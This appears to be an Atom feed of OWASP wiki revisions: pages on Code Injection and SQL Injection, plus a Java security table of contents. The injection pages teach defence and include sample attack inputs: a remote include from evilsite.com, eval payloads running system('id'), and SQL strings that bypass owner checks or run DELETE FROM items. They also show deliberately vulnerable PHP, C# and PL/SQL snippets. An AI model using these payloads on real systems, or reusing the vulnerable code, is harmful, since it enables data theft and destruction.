[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:&lt;br /&gt;
&lt;br /&gt;
* class of allowed characters (standard regular expressions classes or custom)&lt;br /&gt;
* data format&lt;br /&gt;
* amount of expected data&lt;br /&gt;
* for numerical input, its values&lt;br /&gt;
&lt;br /&gt;
Code Injection and [[Command Injection]] are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into an application, which then will be executed. Added code is a part of the application itself. It's not external code which is executed, like it would be in Command Injection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
'''Example 1'''&lt;br /&gt;
&lt;br /&gt;
If a site uses the include() function, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code other than the author of the code had in mind.&lt;br /&gt;
&lt;br /&gt;
The URL below displays information about how to contact with the testsite company.&lt;br /&gt;
&lt;br /&gt;
http://testsite.com/index.php?page=contact.php&lt;br /&gt;
&lt;br /&gt;
Below the altered code is code from http://evilsite.com/evilcode.php. The script &amp;quot;evilcode.php&amp;quot; may contain, for example, a phpinfo() function, which is useful for gaining information about the configuration of the environment in which the web service runs.&lt;br /&gt;
&lt;br /&gt;
http://testsite.com/?page=http://evilsite.com/evilcode.php&lt;br /&gt;
&lt;br /&gt;
One condition must be satisfied for this example to be successful, namely the web server configuration must allow for including files in the &amp;quot;http://&amp;quot; notation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2'''&lt;br /&gt;
&lt;br /&gt;
When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.&lt;br /&gt;
&lt;br /&gt;
The example below shows how to use the eval() function:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$myvar = &amp;quot;varname&amp;quot;;&lt;br /&gt;
$x = $_GET['arg'];&lt;br /&gt;
eval(&amp;quot;\$myvar = \$x;&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code above which smells like a rose may be used to perform a Code Injection attack.&lt;br /&gt;
&lt;br /&gt;
Example: passing in the URI /index.php?arg=1; phpinfo()&lt;br /&gt;
&lt;br /&gt;
While exploiting bugs like these, the attacker doesn't have to limit himself only to a Code Injection attack. The attacker may tempt himself to use Command Injection technique, for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/index.pho?arg=1; system('id')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Command Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[LDAP injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category: Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=68512</id>
		<title>OWASP Java Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=68512"/>
				<updated>2009-09-04T00:12:59Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;b&amp;gt;Key:&amp;lt;/b&amp;gt;&lt;br /&gt;
* xx%: Progress status of the paragraph&lt;br /&gt;
* &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;: The paragraph needs a review&lt;br /&gt;
* TD: Paragraph to be assigned&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Architects]]==&lt;br /&gt;
Discuss the security implications of common J2EE architectures.  This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection.  Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.&lt;br /&gt;
  &lt;br /&gt;
Any other security concerns that should be addressed during the design phase should also be mentioned here.&lt;br /&gt;
===Design considerations===&lt;br /&gt;
* Architectural considerations (0%, TD)&lt;br /&gt;
** EJB Middle tier (0%, TD)&lt;br /&gt;
** Web Services Middle tier (0%, TD)&lt;br /&gt;
** Spring Middle tier (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Developers]]==&lt;br /&gt;
=== Noteworthy Frameworks ===&lt;br /&gt;
Discuss important and relevant Java security frameworks that would be useful to architects.  The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.&lt;br /&gt;
&lt;br /&gt;
(0%, Seeking Volunteers)&lt;br /&gt;
*	Cocoon&lt;br /&gt;
*	[[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)&lt;br /&gt;
*	JSecurity&lt;br /&gt;
*	SiteMesh&lt;br /&gt;
*	Spring (0%, Adrian San Juan, TD)&lt;br /&gt;
*	[[Struts]] (0% Jon Forck)&lt;br /&gt;
*	Tapestry&lt;br /&gt;
*	Tiles&lt;br /&gt;
*	Turbine&lt;br /&gt;
*	Webwork&lt;br /&gt;
*	[[Wicket]]&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics===&lt;br /&gt;
Provide an introduction into the basic security services provided by the Java language and environment.  Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.&lt;br /&gt;
* Class Loading (0%, Philippe Clairet)&lt;br /&gt;
* Bytecode verifier (0%, Philippe Clairet)&lt;br /&gt;
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)&lt;br /&gt;
&lt;br /&gt;
===Input Validation Overview ===&lt;br /&gt;
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. &lt;br /&gt;
&lt;br /&gt;
===Input Validation ===&lt;br /&gt;
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)&lt;br /&gt;
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)&lt;br /&gt;
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing SQL Injection in Java]] ====&lt;br /&gt;
* Overview &lt;br /&gt;
* Prevention (60%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis (60%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0&lt;br /&gt;
** JDO&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing LDAP Injection in Java]] ====&lt;br /&gt;
* Overview (100%, Stephen de Vries, Complete)&lt;br /&gt;
* Prevention (100%, Stephen de Vries, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[XPATH Injection]] ====&lt;br /&gt;
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.&lt;br /&gt;
* Overview (0%, TD)&lt;br /&gt;
* Prevention (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==== [[Miscellaneous Injection Attacks]]  ====&lt;br /&gt;
* HTTP Response splitting (0%, TD)&lt;br /&gt;
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)&lt;br /&gt;
* Regular Expression (regex) Injections (20%)&lt;br /&gt;
&lt;br /&gt;
''' Status '''&lt;br /&gt;
In progress&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* [[Storing credentials]] - (20%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[SSL Best Practices]] - (20%, Philippe Curmin, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Captchas in Java]] - (100%, Dave Ferguson, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;) &lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)&lt;br /&gt;
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Password length &amp;amp; complexity]] - (100%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
===Session Management ===&lt;br /&gt;
The generic problems and solutions for session management are covered in the Guide.  This section should focus on Java specific examples.&lt;br /&gt;
* Logout (0%, TD)&lt;br /&gt;
* Session Timeout (0%, TD)&lt;br /&gt;
* Absolute Timeout (0%, TD)&lt;br /&gt;
* [[Session Fixation in Java]] (100%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* Terminating sessions (0%, TD)&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
&lt;br /&gt;
===Authorization===&lt;br /&gt;
* [[Declarative v/s Programmatic]] (10%, TD)&lt;br /&gt;
* EJB Authorization (0%, TD)&lt;br /&gt;
* Acegi (0%, TD)&lt;br /&gt;
* JACC (0%, TD)&lt;br /&gt;
* Check horizontal privilege (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Encryption===&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* Storing db secrets (0%, TD)&lt;br /&gt;
* Encrypting JDBC connections (0%, TD)&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Logging - why log? what to log? log4j, etc. (0%, TD)&lt;br /&gt;
* Exception handling techniques (0%, TD)&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks (50%, TD)&lt;br /&gt;
** Servlet spec - web.xml &lt;br /&gt;
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)&lt;br /&gt;
** JSP errorPage (0%, TD)&lt;br /&gt;
* Web application forensics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML (0%, TD)&lt;br /&gt;
* (X)WS-Security (0%, TD)&lt;br /&gt;
* SunJWSDP (0%, TD)&lt;br /&gt;
* WSS4J (0%, Eelco Klaver)&lt;br /&gt;
* XML Signature (JSR 105) (0%, TD)&lt;br /&gt;
* XML Encryption (JSR 106) (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
The introduction should cover the advantages and short comings of code analysis tools.  An overview of the current state of the art and the available tools would go well here.  As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.&lt;br /&gt;
* Introduction (0%, TD)&lt;br /&gt;
* [[:Category:OWASP LAPSE Project]] (100%, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* FindBugs (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint (0%, TD)&lt;br /&gt;
* Jmetrics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
Practical step-by-step guides to securing various J2EE servers.  Examples of secure configurations can also be provided for download.  If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained.  Users of the configurations should be provided with enough information to make their own risk decisions.&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)&lt;br /&gt;
* Securing JBoss (0%, TD)&lt;br /&gt;
* Securing WebLogic (0%, TD)&lt;br /&gt;
* Securing WebSphere (0%, TD)&lt;br /&gt;
* Others...&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
Practical information on creating a Java security policies for J2EE servers.&lt;br /&gt;
* PolicyTool - JChains already provides this functionality, one policy tool is enough.&lt;br /&gt;
* jChains (www.jchains.org) - (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode manipulation tools and techniques (0%, TD)&lt;br /&gt;
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* Convert bytecode to native machine code (0%, TD)&lt;br /&gt;
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Security Analysts and Testers==&lt;br /&gt;
* Using Eclipse to verify Java applications (0%, TD)&lt;br /&gt;
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)&lt;br /&gt;
* Decompiling Java bytecode (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== [[Java Security Resources]] (ongoing)==&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection&amp;diff=68229</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection&amp;diff=68229"/>
				<updated>2009-08-30T12:11:12Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Example 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
A [[SQL injection]] attack consists of insertion or &amp;quot;injection&amp;quot; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. &lt;br /&gt;
SQL injection attacks are a type of  [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
* SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server. &lt;br /&gt;
* SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections. &lt;br /&gt;
* The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&amp;lt;br&amp;gt;&lt;br /&gt;
See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
SQL injection errors occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a program from an untrusted source. &lt;br /&gt;
# The data used to dynamically construct a SQL query &lt;br /&gt;
&lt;br /&gt;
The main consequences are:&lt;br /&gt;
&lt;br /&gt;
* '''Confidentiality''': Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with [[Glossary#SQL Injection|SQL Injection]] vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''Authentication''': If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.&lt;br /&gt;
&lt;br /&gt;
* '''Authorization''': If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a [[Glossary#SQL Injection|SQL Injection]] vulnerability.&lt;br /&gt;
&lt;br /&gt;
* '''Integrity''': Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a [[Glossary#SQL Injection|SQL Injection]] attack.&lt;br /&gt;
&lt;br /&gt;
== Risk Factors==&lt;br /&gt;
The platform affected can be:&lt;br /&gt;
* Language: SQL&lt;br /&gt;
* Platform: Any (requires interaction with a SQL database)&lt;br /&gt;
&lt;br /&gt;
[[Glossary#SQL Injection|SQL Injection]] has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. &lt;br /&gt;
&lt;br /&gt;
Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
In SQL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select id, firstname, lastname from authors&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If one provided:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Firstname: evil'ex&lt;br /&gt;
Lastname: Newman&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the query string becomes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select id, firstname, lastname from authors where forename = 'evil'ex' and surname ='newman'&lt;br /&gt;
which the database attempts to run as &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Incorrect syntax near al' as the database tried to execute evil. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A safe version of the above SQL statement could be coded in Java as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
String firstname = req.getParameter(&amp;quot;firstname&amp;quot;);&lt;br /&gt;
String lastname = req.getParameter(&amp;quot;lastname&amp;quot;);&lt;br /&gt;
// FIXME: do your own validation to detect attacks&lt;br /&gt;
String query = &amp;quot;SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?&amp;quot;;&lt;br /&gt;
PreparedStatement pstmt = connection.prepareStatement( query );&lt;br /&gt;
pstmt.setString( 1, firstname );&lt;br /&gt;
pstmt.setString( 2, lastname );&lt;br /&gt;
try&lt;br /&gt;
{&lt;br /&gt;
	ResultSet results = pstmt.execute( );&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	string userName = ctx.getAuthenticatedUserName();&lt;br /&gt;
	string query = &amp;quot;SELECT * FROM items WHERE owner = &amp;quot;'&amp;quot; &lt;br /&gt;
					+ userName + &amp;quot;' AND itemname = '&amp;quot;  &lt;br /&gt;
					+ ItemName.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
	sda = new SqlDataAdapter(query, conn);&lt;br /&gt;
	DataTable dt = new DataTable();&lt;br /&gt;
	sda.Fill(dt);&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The query that this code intends to execute follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items&lt;br /&gt;
	WHERE owner = &lt;br /&gt;
	AND itemname = ;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string &amp;quot;name' OR 'a'='a&amp;quot; for itemName, then the query becomes the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items&lt;br /&gt;
	WHERE owner = 'wiley'&lt;br /&gt;
	AND itemname = 'name' OR 'a'='a';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
&lt;br /&gt;
This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string &amp;quot;name'; DELETE FROM items; --&amp;quot; for itemName, then the query becomes the following two queries:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items &lt;br /&gt;
	WHERE owner = 'hacker'&lt;br /&gt;
	AND itemname = 'name';&lt;br /&gt;
&lt;br /&gt;
	DELETE FROM items;&lt;br /&gt;
&lt;br /&gt;
	--'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.&lt;br /&gt;
&lt;br /&gt;
Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string &amp;quot;name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a&amp;quot;, the following three valid statements will be created:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items &lt;br /&gt;
	WHERE owner = 'hacker'&lt;br /&gt;
	AND itemname = 'name';&lt;br /&gt;
&lt;br /&gt;
	DELETE FROM items;&lt;br /&gt;
&lt;br /&gt;
	SELECT * FROM items WHERE 'a'='a';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:&lt;br /&gt;
&lt;br /&gt;
* Target fields that are not quoted &lt;br /&gt;
* Find ways to bypass the need for certain escaped meta-characters &lt;br /&gt;
* Use stored procedures to hide the injected meta-characters &lt;br /&gt;
&lt;br /&gt;
Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.&lt;br /&gt;
&lt;br /&gt;
Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	procedure get_item (&lt;br /&gt;
		itm_cv IN OUT ItmCurTyp,&lt;br /&gt;
		usr in varchar2,&lt;br /&gt;
		itm in varchar2)&lt;br /&gt;
	is&lt;br /&gt;
		open itm_cv for ' SELECT * FROM items WHERE ' ||&lt;br /&gt;
				'owner = '''|| usr || &lt;br /&gt;
				' AND itemname = ''' || itm || '''';&lt;br /&gt;
	end get_item;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Category:Command Execution]] &lt;br /&gt;
* [[Injection problem]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Top 10 2007-Injection Flaws | injection attack]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
* [[Code Injection]]&lt;br /&gt;
* [[Double Encoding]]&lt;br /&gt;
* [[Interpreter_Injection#ORM_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Static Code Analysis]]&lt;br /&gt;
[[Category:FIXME|this was the text that was here before we added the links. Can it be deleted?&lt;br /&gt;
Avoidance and mitigation &lt;br /&gt;
&lt;br /&gt;
* Requirements specification: A non-SQL style database which is not subject to this flaw may be chosen.&lt;br /&gt;
&lt;br /&gt;
* Implementation: Use vigorous white-list style checking on any user input that may be used in an SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that has been entered in the database may neglect to escape meta-characters before use.&lt;br /&gt;
&lt;br /&gt;
* Image:Advanced Topics on SQL Injection Protection.ppt&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
==References ==&lt;br /&gt;
* [http://www.greensql.net/ GreenSQL Open Source SQL Injection Filter] - An Open Source database firewall used to protect databases from SQL injection attacks.&lt;br /&gt;
